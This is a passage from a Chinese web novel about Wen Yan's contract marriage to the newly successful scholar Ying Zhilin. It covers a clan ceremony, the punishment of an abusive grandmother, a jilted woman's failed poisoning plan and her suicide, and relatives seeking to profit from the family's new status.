没道理我的义母都请去观礼了,应知林的嫡亲外祖母,和祖母却不能去。 青禾并未多说,点点头就去执行。 闻颜简单收拾了一下衣冠,这才朝祠堂而去。 她刚到祠堂,应知林就发现了她。 “你去哪儿了,怎么风尘仆仆的?”她虽然简单收拾了一下,应知林还是一眼看出不同,并细心地将歪掉的珠钗扶正。 “酒水出了点问题,我去县城解决了。”闻颜简单说道,“你们找我有何事?” 祭祀到中半段,闻颜就知道,他们为何要找自己了。 她从一开始,就被允许进祠堂观礼。 “闻氏之女颜,请上前来。”站在白夫人身后观礼的闻颜,突然被点到名字。 闻颜有点茫然。 白夫人拍了拍她的手:“去吧。” 闻颜只得走到应知林身边,以眼神询问他怎么回事? 应知林不答,只是给她一个安抚的眼神。 闻颜张了张嘴,什么都没说,就闭上了。 算了,一会儿随机应变吧。 第289章:移出族谱 应氏原本也是本地大族。 松山村只是众多分支之一。 考中举人,也算半只脚踏入官场,主脉那边便派了个,辈份大,却只有三十多岁的管事过来。 不算多重视,但也不算冷落。 此刻,庄严的祠堂里,香火两旁,那两位管事便在其中。 两人穿锦戴玉,皮肤白皙,一看便是养尊处优的。再加上他们下巴上扬,神情高傲,一副鼻孔里看人的姿态。 站在其他族老当中,很是惹眼。 两人对祭祖时,单独叫一个女人出来,颇有微词。 应族长在这穷乡僻壤待久了,人也糊涂没见识了? 若非白夫人和泰王孙在一旁观礼,且二人都是此女客人,且对应族长此举很是支持,他们早就出声反对了。 闻颜以为,自己会被耳提面命一番,让她以后事事以应知林为先,好好辅佐他之类的。 没想到,应族长当着众人的面,夸她品行高洁,持家有道,心地善良,应家以有她这样的宗妇为荣。 又亲自递香,让她拜祖宗。 主脉二人终是忍无可忍,强压着脾气,阻止道:“你这样做是不是太草率了?” 应族长笑道:“当初分家时,族规有说,若非累及全族的大事,分支可自行做主。”所以,闭嘴吧你们俩,好好观礼就行! 主脉的人噎住,一脸不悦地闭上了嘴。 随后,应族长还给应知林和闻颜在族谱中单开一页,二人名字并列。 这对普通宗妇来说,是极大的认可和荣耀。 闻颜却吓得倒吸一口气。 朝应知林使眼色,让他赶紧阻止。 她只想安分当几年应夫人,时机一到就和离,恢复自由身。 如今搞得这般隆重,他未来真正的妻子要如何自处? 事事都要被旁人拿出来比较,一辈子被‘前妻’压一头,活在‘前妻’的阴影当中。 然而,她的眼睛都眨抽筋了,应知林也没懂她的意。 还轻拍她的手背,让她稍安勿躁。 闻颜:“……” 稍安勿躁你大爷的! 算了,反正以后吃的不是自己。 写完族谱,应族长还拿闻颜竖典型,激励族中其他妇人,只要品性好,做对族中有益的事,也能获得像闻颜一样的待遇。 不少妇人听得热血沸腾,摩拳擦掌的想要大干一番。 “趁着今日开祠堂,族老们都在,便将另一件事,一并处理了吧。”办完闻颜夫妻的事,族长脸色忽地一肃,接着道:“还不把人带上来吧。” 随即,就见几个族中青年,将老应家的人全部押了进来。 老乔氏凶狠地瞪了闻颜一眼。 自己上次进祠堂,还是几十年前,刚嫁入应家时。 闻颜嫁进来不过半年时间,虽是第一次进祖宗,却如此声势浩大。 还有族长为他保驾护航,这可是她这个祖母都没有的待遇! 闻颜凭何有此殊荣? 他直视之际,前方突然传来一声厉喝“乔氏,你可知错!” 乔氏吓得一激灵,抬头看去,只见所有族老都疾言厉色地看着她。 她心下害怕,眼珠子溜溜一转,忽然冲到主脉的二位代表面前,跪在他们面前,抱住他们的衣角一阵哭诉。 “能做好谁,谁又愿意当恶人呢? 这这么多年我都是故意扮演当恶角色,就是为了督促应知林成才啊! 如今他中了举人,我没了作用,你们就我碍手碍脚了吗?” 乔婆子反应倒是快,哭得一把鼻涕一把泪,若是不知内情,定会觉得她可怜。 “你倒是会倒打一耙。”应族长差点被她气笑了。“你当这些年的所作所为别人一无所知?” 族长当即便将她这些年的恶劣行径一一道来。 主脉的人听得直皱眉,扯回自己的衣角,退避三舍。 “我们应氏一族要不起你这样的恶妇,今日我就以族长之责,处置你。” “你想休了我?”乔婆子脸色一白,神情激动地道,“你不能这样对我!我为老应家生儿育女,延续香火,我还供出养一个举人,你凭什么休我!” 她都一把年纪了,若是被休,会成为十里八乡的笑话不说,她也无处可去。 她的爹娘早就去世了。 两位哥哥年纪大了,需要靠儿子奉养。 她又与两位嫂子不和,那些侄子,绝对不会收留她这个姑姑。 应族长神情威严地道:“我念在你年纪大,确实替族弟生儿育女,不会替死去的族弟休妻,你以后还是孩子们的娘。 但我以族长的名义,将你从族谱除名。” 乔婆子如遭雷击,失声尖叫:“这简直比休妻还恶毒!我不同意!我不要被除名。老东西,你想害我死后都不得安宁!” 从族谱除名。 死后不能与丈夫合葬,更不能进应家祖坟。 她死后无依无靠,定会被别的孤魂野鬼欺负。 主脉的人,却觉得族长优柔寡断,这样的恶妇不仅要休,还要将她的孩子们全部逐出族谱。 乔婆子同不同意根本不重要。 应族长毛笔一挥,她的名字就从族谱上划去。 乔婆子哭闹不止。 “还不把她带走?就任由她在这里发疯吗?”族长看向乔婆子的两个儿子。 应老大和应老三连替她求饶都不敢,扶着乔婆子就往外走。 就在这时,一直低头跪着的胡有珠,突然冲到应族长面前,苦苦哀求:“族长,救您作主,把我儿其正也分出去吧。我儿也是棵读书的好苗子,不能让家庭拖累了啊!” 应其正读书确实不错,跟应知林关系也好。 乔老三吓坏了。 连忙冲进来拉走胡有珠。 “走开!”胡有珠一把甩开他,“你不为儿子着想,但是也别拦着我为儿子争取。” 应族长看了胡有珠一眼,淡声问道,“你说家里拖累其正,你举几个例子让大家一起帮你作主。” 胡有珠张了张嘴,努力半天,才说不出一件事情来。 说白了,胡有珠是害怕。 她亲眼见证了,乔婆子如何对应知林,以及爹娘敲骨吸髓。 她害怕应其正成为下一个应知林。 自己成为下一个焦丽娘。 第290章:跳井 应其正连忙跪到胡有珠身边,求情道:“族长爷爷,是我娘最近压力过大,想岔了。我家里没有对我不好,这个家我们不分了。” 族长看了一眼应其正,对胡有珠道:“既然你举不出实例,那么分家就是你们的家务事。 你们兄弟回家商量好,我自会为你们主持。” 胡有珠的为人,应族长不作评价。 应其正在老应家可没吃过亏。 总不能好处要占,力一点不出吧! 祭祀礼很快结束。 应知林护着闻颜往外走。 她在攒动的人影里,看见一个枯瘦的身影有些眼熟。 她想确认时,已经不见踪影。 闻颜只得作罢。 离开宗祠,她正要问应知林,刚才为何不帮她拒绝,立夏就来找她,说,“杂货铺的人,送酒水过来了。” “酒楼的酒送过来了吗?” “已经搬进库房了。” “那应让杂货铺的老板等着吧,马上就要开席,我忙得很。” 闻颜吩咐完事情,再找应知林说事,身边哪里还有他的了影子。 早就溜走了。 闻颜去灶房逛了一圈,发现有代婆婆主持大局,凡事都井井有条。 闻颜便放心回了自家宅子。 女客都会在那边用饭,她得回去主持大局。 她和立夏、青禾往回走,一路上言笑晏晏。 忽然,闻颜有种被人窥视的感觉。 她顺着感觉看过去,什么都没发现。 立夏发现她的异常,问道:“小姐?怎么了?” 闻颜摇摇头,“没什么,可能是我看错了。” 三人继续往前走。 粮食地时在,黄莺儿看着远去的闻颜,原本还算漂亮的一张脸,已经气得扭曲起来。 “为什么?为什么别人都可以,唯独自己不行? 闻颜能对别的妾室和颜悦色,说说笑笑,和平相处。 对自己却是横眉冷对,处处刁难排挤? 所以,应知林不是不想纳妾,只是不想纳自己。 闻颜也不是容不一妾室,只是容不下自己。 这对夫妻,太恶毒了!” 黄莺儿捏紧了腰间的荷包:“既然不能一起风光荣耀,那就一起去死吧!” 她顺着稻田,就朝闻颜家的宅子而去。 去观礼的女神,已经跟着白夫人回到闻颜的宅子。 闻颜招呼一番,就先去库房看看。 他们刚靠近,就见库房门口人影闪动。 闻颜这次看真切了,真的是她! “黄莺儿!”闻颜唤了一声。 人影受惊,慌张溜走。 闻颜回来之后,自然听到那些纳妾流言。 黄莺儿对应知林用情至深,若是听到这些,不知有多伤心。 她敏感脆弱,若是信以为真,恐怕会想不开,作出傻事。 闻颜忙对立夏道:“你快去把她追回来。” “是。”立夏立即追了出去。 青禾不解道:“小姐,你对黄莺儿真不错。” “黄莺儿与应知林青梅竹马,我自当是要成全他们的。”闻颜小声道,“一旦为妾,终身便是妾了。 只要黄莺儿有耐心,等得起,等我同应知林和离,她便能风风光光嫁给应知林当正妻,不比现在就挤进来当个妾好?” 只要她愿意,我也可以把她带在身边调教三四年。 保证她将来,能当一个合格的官家夫人。” 一墙之隔的库房内,应知林抱着一坛酒,将门外的对话听得一清二楚。 听见闻颜如此干脆随意地说着和离,帮他调教妻子。 应知林气得红了眼眶。 闻颜竟对自己一点情况都没有。 是她不喜欢自己的长相? 还是自己的身材不够诱人? 还是她嫌弃自己学识太低,家世太差? 前者他没办法人。 但后面两项,他可以努力的。 他可以考会元,考状元,当官之后努力干政绩,给她争个一品诰命。 他越想越委屈,眼泪都快出来了。 屋外,青禾不曾重生,自然不懂闻颜的决定。 青禾问道:“小姐,难道你对姑爷就没有一点动心吗?” 闻颜摇头。 青禾问:“为什么? 姑爷除了家世差些,其实各方面都不错。 长得俊,身体好,本次拿了解元,明年应该能考中进士。 关键是,他对您的事,都很上心。” “有吗?”闻颜蹙眉。 “当然有啊。您常年在外奔走,不知姑爷的用心,我们在这里住了一个多月,把事情看得真真的。 小姐您不知道……” “吱呀”一声。 库房门的从里面打开。 就见应知林抱着一只酒坛站在内门。 背后议论人,还被抓个正着。 青禾心虚地低下了头。 闻颜直直看着他,笑得很是和气:“你过来搬酒?” “是。”应知林也是一副泰然自若的神情,“我拿酒过去,供奉祖先。” “快去吧。”闻颜让出一条道,让他先走。 应知林点点头,与她擦身而过之际,忽地停了下来。 他转身看着闻颜道:“刚才青禾的话,我务必要解释一下。 你不在家的时候,我确实帮你处理了很多小事。 但那只是因为,我们还在夫妻期内。 你出钱供我读书,帮我养家人,我岂能坐享其成,什么都不表示? 我记得你说过,这叫互利互惠。 我希望夫人不要因为别人的几句话,就对我生出不该有的心思。” 应知林这算是在提醒闻颜,他是公事公办,让她不要因为他的体贴就生出不该有的心思。 以前都是她这样提醒应知林,没想到这次反过来了。 闻颜整个尬住。 她保证自己不会的同时也松了一口气。 她也不想成婚半年就和离。 只要应知林没那个意思,这合作关系就还能处! 应知林见她防自己就跟防贼一样,心里就跟吃了酸黄瓜一样。 酸楚、堵心。 他一转身,眼眶又不争气地红了! 应知林走远。 青禾吐了吐舌头:“小姐,我是不是说错话了。” “没关系,只是正常讨论。”闻颜去库房里转了一圈,没有发现异样,她就找人把酒水全部搬了出去。 女客这边留两坛,其余的全部送去宗祠,让专门的人看着。 立夏对松山村不熟悉,很快就跟丢了黄莺儿。 黄莺儿本想去投毒,应知林里在仓库,她没能得逞。 连拉着厌恶的人下地狱都做不到。 黄莺儿心灰意冷,路上经过一口水井。 她在井边呆坐了一会儿,便毫不犹豫地跳了下去。 第291章:又怂又勇敢 流水席开了一整天,直到天色黑尽,客人都吃过晚饭才结束。 闻颜站在家门口送客。 泰王孙根本不想走,拉着闻颜的手恋恋不舍:“闻颜姐姐,你什么时候再去京城?到时一定要来看我哦!” “好,到时候我给你送好吃的点心。” 泰王孙伸出一根小手指:“拉勾上吊,不来的人就是小狗。” 闻颜跟他拉勾,又哄好一会儿,也不肯上马车。 白夫人等得不耐烦,提着他的后衣领,就把人拎上了马车。 目送他们离开后,闻颜又安排留宿的客人。 其实,只有外祖母一行人留宿。 外祖母身体虚,禁不起来回折腾,再加上应知林和闻颜真诚挽留,他们才住下来。 应知林把外祖母安排在他的房间,闻颜叮嘱一番之后,就回自己的房间。 她已经累得腰酸背痛,腿肚子转筋。 她每走一步,脚掌都像撕裂一样疼。 她捶着腰,一瘸一拐地挪回卧房。 佩儿要进来服侍,闻颜摆摆手:“你们今天比我还累,先去休息吧,我这里自己能行。” “可是……” “那你提一地桶热水来就行了。” “好。”佩儿转身就去提水。 闻颜张开双臂,直接扑倒在床上。 “呜……好舒服啊!小命总算是回来了。”她在床上打了个滚,又抻了个腰。 她现在就想焊死在被窝里。 不一会儿。 佩儿吃力地提着一大桶水过来。 在门口碰上应知林。 应知林伸手去接水桶:“给我,你去休息吧。” 佩儿迟疑了一下:“还是我来送吧,您也辛苦……” “我不会越界,你放心吧。”应知林打断她未尽之言,就接过了水桶,进了闻颜的房间。 应知林关好门窗,又兑好洗澡水,这才去叫闻颜起来洗漱。 闻颜趴在床上,已经睡着了。 脸颊上的肉嘟起来,像一只贪睡的小仓鼠。 嫣红的嘴唇像熟透的樱桃,看着软软嫩嫩,引人品尝。 ‘咕噜’ 应知林咽下口水,别开视线。 “闻颜,起床洗澡了。”应知林摇醒她。 闻颜困迷糊了。 听见有道声音在叫自己,她就以为佩儿。 眼睛都没睁开,朝她伸出手:“拉我一把,我骨头散架,动不了了。” 应知林犹豫了一下,这才将她扶起。 闻颜顺着应知林的带领,来到屏风后的浴桶旁边。 闻颜张开双臂,要佩儿给她宽衣。 应知林怔了怔,终于没有趁人之危。 他直接把闻颜打横抱起,放进了浴桶里。 突然的悬空感和入水感,让闻颜彻底清醒。 这才看清旁边站着的人是应知林。 她深吸一口气,眼睛瞪得圆溜溜的,“多……多谢你了。” “不客气。”应知林脸颊发烫,转身离开了房间。 闻颜捂着脸埋进水里。 丢死人了! 应知林出了房门,深呼吸好几次,才平复好心情。 他又去了外祖母的房间,看看还有什么需求。 谁知外祖母已经睡醒了。 外祖母朝他招招手:“知林,陪外祖母说会儿话。” 应知林倒了杯水,才坐过去。 “外祖母,你今天感觉可还好?” 外祖母笑呵呵的:“好,能看见你高中,没有比这更好的了。” 应知林握着外祖母的手:“您要好好保重身体,我还要考进士,考状元,将来还要当官。您要替外祖父亲眼看着。” “好,我一定好好活着。”外祖母乐呵呵的笑着,但很快,脸上又露出愁容。 她朝门口看了一眼,压低了声音问,“你和小颜是怎么回事?你们怎么还分房睡啊? 还是你惹人家生气了? 我观察了一天,小颜知情达理,温柔善良,长得也漂亮,这样的女子可遇不可求,你可要对她好一点,千万别把人气跑了。” 应知林倒想是吵架。 他安抚道:“没有生气,我跟她关系很好的。是我要参加科考,她怕我读书分心,特地分房睡的。” “当真?”外祖母还是有些不信。 “当然是真的。外祖母您不信别人,难道还不信我吗?” “我信你。”外祖母说着,就咳嗽起来。 “外祖母,您先喝点水。”应知林连忙将人扶起来喂水。 外祖母把一杯水喝光,才将咳嗽压下去。 应知林心疼又担忧,提议道:“外祖母,我成家了,您就搬来我们一起住,让我照顾您,尽尽孝心吧。” “你才刚成亲,小两口正是培养感情的时候,我不能打扰你。”外祖母坚决不同意,“再说了,你每个月都给表舅家里三百文生活费,他们对我很好的。” 应知林的眼圈却红了,“我爹娘都不在了,亲祖母那边,您也听见是怎么对我的了。我就只有您一个血脉相连的长辈了,您别让我终身抱憾好吗?” 面对诚恳的应知林,外祖母不忍心立刻拒绝他,只好拖延道:“你让我再想想。” “那您早些休息。”应知林退出了房间。 他想了想,又敲响了闻颜的房门。 “进来。”屋里传来闻颜的声音。 应知林推门进去。 闻颜披好外衣,问他:“还有什么事?” 应知林指了指窗边的美人榻:“我的房间给外祖母住了,我能在你这儿借住一晚吗?” 闻颜爽快地同意了,他们又不是没在一个房间住过。 他们还睡过一张炕呢! 应知林勾唇浅笑,自己去闻颜的柜子里拿盖被。 就听见闻颜‘嘶’了一声。 应知林回头,就见闻颜在给自己按腿。 她今天走太多路,腿都僵肿了,如果不按通顺,明天就会腿疼。 应知林几步走过去,坐在床沿:“你自己不方便,我来帮你吧。” 说着,他托住了她白皙纤细的腿。 应知林的手掌宽大、掌心温暖。 他先按压穴位,再顺着筋络往上推。 应知林的手很有力,刚推两下,闻颜就痛得惨叫一声,腿也直往后缩:“好疼!” 闻颜一边泪眼花花,一边让应知林不要停:“现在不疼,明天就会疼。长痛不如短痛,你只管按……” 应知林哭笑不得。 她当真是又怂又勇敢,可爱得不得了! 应知林趁着按腿的时候,说起想留外婆住下的事:“你放心,以后的家用我会准备的。” “卖那些猫戏图换铺子吗?”闻颜打趣他,“与其把画便宜别人,不如你直接卖给我好了!” 第292章:她是你惹不起的人 闻颜垂涎那些猫戏图好久了。 虽说,作为合作交易,她负责全家生活开支合情合理。 但应知林愿意为家付出,闻颜岂会拦着。 闻颜答应得如此爽快,在应知林预料之中,意料之外。 闻颜本就心地善良,对老弱病残更多一份关爱。 此时。 县城。 苏记杂货铺。 苏老板失魂落魄地,赶着一辆酒坛停在门口。 店小二立即迎了出来:“老板,怎么这么多酒……” “全搬到店库房里去吧。”苏老板吩咐。 满满一车酒。 五十斤每坛,总有九坛,四百五十斤酒,一年半载都卖不完! 店小二呲了呲牙,但是认命地开始搬运。 老板娘须氏听见动静,欣喜地跑出来:“夫君,人回来了!” 苏老板像是没听见须氏的话,呆呆地走进店里。 他的脑海里,全都是今天应家看见的人物。 除了全县的乡绅富户、县令、县丞,甚至还有京城来的大人物。 听说,一位是镇国将军的夫人,是闻颜的义母;一位是泰王孙,叫闻颜姐姐。 闻颜晾了他小半天,最后把酒票还给他,让他好自为之。 他都是浑浑噩噩回来的。 他现在无比庆幸,闻颜宽宏大度,放自己一马。 须氏看见满车的酒坛,她瞬间炸了。 跑回店时在,质问苏老板:“那些酒怎么回事?你不是送去应家了吗?怎么又拉回来了?难不成他们临时变挂,不要酒水了?” 苏老板还是不说话。 须氏气得在原地转圈,嘴里不住的抱怨。 先是抱怨应知林和闻颜心思恶毒不当人,明明都把货送上门了,却反悔不要,这不是故意整他们吗? 随后又抱怨起苏老板。 根本不该搭理闻颜,现在好了吧。几百斤酒砸在手里,要卖到猴年马月去! 须氏越想越不是滋味,当即就鼓动苏老板:“明天一早,我们就把东西送回去。 不是我们不给供货,是他们自己不要,损失不该我们来承担。” 丢了魂的苏老板,猛地看向须氏:“你在说什么?” 他的眼神冷冰冰的。 须氏第一次见到他这副样子,吓了一跳,往后退了两步,嘟囔出声:“你干嘛这副眼神看我?” 苏老板忽然走近,问她:“须铃,既然你从始至终心系应知林,当初为何要嫁给我!” 须铃目光闪躲。 “说啊,看着我的眼睛,告诉我。”苏老板掐着她的脸,陡地拔高了嗓门,大声质问。 成婚四年,她头一次见他发这么大的脾气。 吓得身体一抖,眼睛瞬间滚了出来,看着楚楚可怜。 放在以往,夫君早就会温柔地哄她了。 今天他却什么都没做,目光直愣愣地盯着她。 须铃知道,这一关自己躲不过去了。 她抹掉脸上的泪,终于直视着他:“对,我一直喜欢他,我从小就喜欢他。 可他不争气,先是死了爹,好不容易要出孝期了,他娘又没了。我已经十七了,再陪他守孝三年就二十了,我能等,我也愿意等。 可是我爹娘等不了。”越说,她的眼泪就掉得越快。 苏老板连连冷笑,松开了她:“所以,你们就找上了我?我这个冤大头很好用是吗?” “不是……夫君你听我说。嫁给你之后,我有想过要跟你好好过日子的,否则我也不会跟你生下元宝。 你相信我夫君!” “那今天你在做什么? 还有半年前,她来店里买碗,你为什么要故意找茬? 这就就是你说的好好过? 您要我怎么相信你?” “我……我现在已经不喜欢他了。我只是气不过……” “是气不过还是嫉妒?” 苏老板毕竟是商人,眼光毒辣,句句说中痛处。 须铃一时说不出话来。 “你有什么资格气不过?当初退婚的人是你们,你如今又在不甘些什么?”苏老板满是嘲讽地,说得须铃无地自容。 苏老板又警告她,“还有,以后不要再去招惹应家人,特别是应知林的夫人,最后是见到她就绕道走。” “你让我躲着她,凭什么?” “凭什么?知道今天的宴席上,都来了什么人吗?除了县令、县丞……” 须铃心想,别说是举人,就算是县里秀才中举,只要办酒席庆祝,他们也是会去的。 只听丈夫接着道,“将军夫人,王孙公子,那些是连县令县丞都要讨好巴结的。他们动动手指,就能让我们家破人亡。” “你但凡为元宝着想,不想让他穷困潦倒,衣不蔽体,吃了上顿没下顿,你最好离他们远远的。 还有,从明天开始,你就回乡下老宅去吧,店里不用你帮忙了。” “你……你这是什么意思?”须铃心慌不已。 “难不成,你还让我乐呵呵的把这顶绿帽戴一辈子?安分一点吧,别让我动休妻的念头。” 苏老板说完,甩开她就走了。 须铃双腿发软,跌坐在地上。 与此同时,县令和县丞,也在各自家中,跟自己的妻子说起这件事。 县令夫人不以为意:“闻颜嘛,她的事京城人尽皆知。 孟家要是真的在意她,怎么会让她嫁给一上乡下的穷酸秀才? 至于泰王孙,又不是泰王的意思。 小孩子都是三分钟热度,用不了几天就把她忘了。 我父亲说了,你只好好做出政绩,让他家看见你的能力,他自然会为提拔你的。” “男人嘛,是要捏在自己手里,才会乖乖听话。” 县丞夫人却是完全相反的态度:“我听说,应知林很得梧桐书院的季山长赏识,不看僧面看佛面,朋友多了路好走。结交一下,总是没错的。” 县丞点点头:“我跟你想得一样。” 翌日。 闻颜家中。 全家聚在一起吃早食。 应知林便说起,让外祖母搬过来住的事。 应知雪撒娇劝说:“外祖母,您就搬过来一起住嘛,一起住嘛!” 哼,等外祖母来了,看闻颜还怎么欺负自己。 应知海也扑进她怀里:“小海一天都不想跟外祖母分开。外祖母不疼小海了吗? 小海又变成没人要的孩子了吗? 小海难受受。” 应知海打滚撒娇,外祖母都被他磨得心软,但也没有松口。 第293章:借势敛财 闻颜看得出来,外祖母不是不想搬过来同住。 她是怕给他们添麻烦,又怕自己不高兴,所以才不肯松口答应。 闻颜眉头一蹙,难过地看着老人家:“外祖母您不肯搬过来,难道是对我这个孙媳妇不满意吗?” 五婆婆虽然眼睛看不到,心里却敞亮着呢! 当即就帮腔道:“是啊,亲家奶奶,您在这边多住几天,就知道她的好了。” 再拒绝,就要伤外孙媳的心了。 外祖母只得答应,兄妹三人都开心极了。 闻颜松了口气,对外祖母道:“还好您愿意留下来,不然我请的大夫就要扑个空了。” 昨天白夫人离开时,闻颜就拜托她把同和堂的林大夫请过来,给外祖母瞧瞧身体。 毕竟是应知林的亲外祖母,目前看来,也算和蔼可亲,能照顾就尽量照顾到。 今天是流水席的第二天,客人已经没有头一天多了。 早饭后,闻颜就不紧不慢地开始清点贺礼。 应知林也来帮忙,一个清点,一个登记。 乡亲们有的送十几二十文钱,有的送十个鸡蛋,有的送一包粮或点心。 都是大家的一份心意,闻颜都一一记录在册。 县城那些富户乡绅,送的礼物就很打眼了。 锦帛布匹,金银玉器,还有直接送银票的,一出手就是六百六十六两。 闻颜把账登记好之后,就拿去给应知林看:“这些人的礼要怎么办?” 应知林拿过账本看了看,他连眉头都没皱一下:“先收着吧,以后再找机会还回去。” “好。不过我对县城里的这些人不熟,我找族长盯一下,他对县城比我了解,到时候才能及时还礼。” “好,都听夫人的。”应知林望着她,应承着。 “什么都要听闻颜的。” 说曹操曹操到,应族长笑呵呵的走进院子。 闻颜夫妻连忙起身相迎:“族长爷爷来了。” 应族长同他们寒暄几句,就和应知林到书房去商谈事务。 闻颜将礼物清点完毕,正准备将东西归入仓库,就听见一阵嘎嘎:“哟,这么多好东西,侄儿媳妇也不让我们看看,怎么就收起来了?” 随即就见应家二姑姑,甩着帕子,扭着腰肢,走进院子。 “二姑姑,大清早的,你怎么有空过来?”闻颜迎出门,与她寒暄。 眼神示意佩儿、青禾三人,赶紧将东西收走。 三人立即抱着东西往东跨院跑去。 二姑姑巴巴地看着好东西被抱走,急得直跺脚,嚷嚷着让佩儿把东西拿给她过过目。 自己缠一缠,说不定闻颜能送她一两件。 可惜,不仅闻颜挡着她的路,佩儿那个贱婢,耳朵就像聋了一样,停都没停一下,好东西全进了闻颜的院子。 二姑姑遗憾地收回目光:“侄儿媳妇啊,我有事关知林前途命运的大事要说。” 二姑姑拉着闻颜的手,一副语重心长的样子。 闻颜不着痕迹地抽回自己的手,“二姑姑有什么话,但说无妨。” 二姑姑呵呵笑着,举手投足间全是谄媚:“好侄媳,你看,知林考上举人,以后少不了迎来送往,交际应酬。全靠他一个人应付,像什么话,你说是不是?” “二姑姑你有话直说。”闻颜已经猜到她的意思。 果然,就听二姑姑接着道,“你看,外面的举人老爷,哪个身边不是跟着一两个小厮书童的,知林也该信得过的人,帮他跑腿传话。” 说着,她将自己的大孙子推到闻颜面前,“你外甥今年十六,长得高大不说,人还机灵。就让他跟在知林身边,帮知林跑腿打杂。” 闻颜可不想接她的茬:“此事我做不了主,得知林自己决定。” “你可是他婆娘,这等小事怎会做不了主?你是不是嫌有负担……算了算了,都是一家人,我们不要月钱行了吧。”二姑姑说着说着就落下委屈的泪来 闻颜:“……” 她还来不及多说话,书房的窗户就从里面推了起来。 “你在说什么!”族长虎着脸站在窗户里,一双精明的眼睛盯着二姑姑,“别以我不知道你心里那些花花肠子。 小厮跑腿固定月钱,顶了天几百上千文钱。 但是打着应知林的名义,在外面吃拿卡要,才是大头。 怎么? 知林才考上举人,你们就想着怎么借势敛财了。 你们一家若是不能安分,我就只能把你们送回原来的村子。” 应族长把二姑姑的遮羞布都扯下来了。 二姑姑没想到族长就站在里面,臊得脸夹通红,但她还是倔强地想要为自己辩说几分。 族长气得哼了一声:“简直不知所谓,真当天下就你一家聪明人,别人都是傻的吗。 竟然敢算计到知林头上来了。 你要是真聪明,咋不送自己儿孙去读书,让他们给你考个举人回来,你想怎么做就怎么作,想怎么折腾就怎么折腾,何苦自降身份给别人做跑腿的? 难道是你不想吗?” 族长一通喝斥抢白,说得二姑姑脸上青一阵白一阵的。 她拉着儿子,就呜呜哭着就跑走了。 应族长犹不解气,甩了甩衣袖:“哼,一家子什么玩意儿! 真当别人看不出他们一家是什么货色? 竟然敢来祸害知林。 闻颜,下次他们再来,你不用再顾及什么亲戚情分,直接把人打出去就好。” 闻颜笑笑,没有多说。 安排好家里的杂事,闻颜和应知林就准备去宗祠那边。 她刚出门,就见柳家人朝这边过来,他们还担着一副挑子。 “爹、娘。大哥大嫂、三哥三嫂。”闻颜很是自然地叫人。 柳家的几个孙辈,也都围上来,乖巧地叫小姑。 闻颜挨个揉揉他们的头,又一人发了一块糖果,朝院子里喊了一声,“小海,出来接客了。” 小海带着他们就去玩了。 柳父和张敢娘心里止不住的激动:叫我们了,小闺女又叫我们娘了! 但他们面上一点没有表露出来,很是镇定地应了一声:“你们现在去哪里?” “去宗祠那边看酒席准备得怎么样了。”闻颜自然亲昵地挽上张敢娘的胳膊,“你们昨天怎么没来? 昨天我义母也来了,还说要介绍你们认识的。” 第294章:黄莺儿丢了 柳父道:“昨天人多,你本就忙不过来,又要分心照顾我们,所以就决定今天过来。” 说着,他还拿出一个钱袋,递给闻颜。 闻颜双手接过:“谢谢爹娘,你们也跟我去祠堂那边看看吧,今天的酒席,都办在那边。” 他们边走边说话。 柳父好奇地问起昨天在祠堂发生的事。 闻颜一一说了。 张敢娘又是高兴,又是担忧地道:“这个高帽子一戴,你肩上的担子是不是很重?别人做好自己就行了,你不仅要自己人帮好,还要帮助别人。” 张敢娘不在意那些风评和人气。 她只在意闻颜过得好不好,是否舒心。 闻颜心下感动,靠在张怀里撒了个小小的娇,这可把张敢娘高兴坏了,让她有一种亲生女儿终于回来了的感觉。 到了办席的地方,代婆婆很是热情地拉着张敢娘和两位嫂嫂说话,柳父则被别的族人拉去聊天。 ** 很快,就到了开席时间。 今天客人不多,都是附近的领里乡亲,不用再开流水席,一次就能坐满。 大家落座之后,就开席了。 应知林各桌敬酒。 柳老大很有眼力见儿,一直跟在应知林身边,帮他倒酒。 一旦发现有人灌他酒,柳老大就帮他挡酒。 应知林好歹是举人,旁人也不敢真的灌。 再加上柳老大做生意练出口才,那些人即使被拒了酒,也不觉得落了面子,反而还跟柳老大勾肩搭背,称兄道弟。 席上,一个十五六岁的小娘子,以扇遮着半张瓜子脸,只露出一双水汪汪的大眼睛,看了应知林一眼又一眼。 她自以为做得隐晦,其实再明显不过。 每多看一眼,她的脸颊就红一分,神情也多娇羞一分。 旁人一瞧这状态,还有什么不明白的。 又一个不谙世事的小娘子,被应知林的皮相勾去了魂。 待应知林去往下一桌。 小娘子旁边的妇人,就同她的小声嘀咕起来:“闺女,看清楚了吗?娘是不是说得没错,应举人长得一表人才,相貌堂堂,湿润如玉。你嫁给他,一点不亏。” “娘,你说什么呢!羞死人了!”小姑娘扭捏地用肩膀撞了妇人一下,脸颊红得能滴血。 那位应举人,着实生得好看。 就连应夫人在他面前都显得黯然失色。 若是能嫁与这样的男子,此生倒也无憾了。 别说是小姑娘,便是富绅的夫人,也被应解元的美貌迷住。 心里想着,但凡自己再年轻个十岁,好歹要尝一尝应知林的咸淡。 旁边的富绅也道:“那应解元不仅皮相好,学问也是一顶一顶的。我们县城也不算小了吧,你见出过几个解元? 他只要正常发挥,将来考个进士不成问题。 到时候我们再花些银两给他疏通疏通,给他谋个好差事,闺女你这辈子都不用愁。” 这一家,全是本县有名的富绅,因为时不时施粥,得了义绅的名号。 小姑娘的目光,对不住追随着应知林的背影,语气里带上失落:“可是……他的妻子长得也很美,而且还出身名门……” 从他们身边路过的闻颜,听见他们在议论自己和应知林,不由放慢脚步,听个究竟。 “这个就更不用担心了。”富绅老神在在,一副一切尽在掌握中的神情,“应解元的妻子,长得确实不差,跟那些真正的大美人却没得比。 最致命的便是她出身名门,养出一副争强好胜的性格,昨天她还进了祠堂,甚至在族谱上与应解元齐头并进。 娶妻娶贤,没有几个男人,能受得了被自己的女人强压一头。 更何况他还是解元老爷,更比别人心高气傲几分。 等你带着丰厚的嫁妆过去,在夫君面前温柔小意,当一朵知冷知热的解语花,两相比较之下,获得夫君独宠,手到擒来。” 小姑娘用扇子遮着脸,娇嗔:“爹,你不正经。” 富绅哈哈笑着。 他夫人急道:“夫君,你看咱们什么时候上门提亲?” “得尽快,先占一个坑位。待他来日考中进士,我们再想攀附,都是不能了。” “等宴席结束我就回去准备,后天就上门。对了,一定要请花媒婆,她那一张巧嘴,死的都能说成活的……” 闻颜听完全程,眉毛轻挑。 这家人倒是很有眼光。 散席后她去问问应族长,这家人的品性如何。 如果真如传言那般和善,让他女儿再等几天,给应知林做正妻也无不可。 筵席接近尾声。 应知林和柳老大才回到位置。 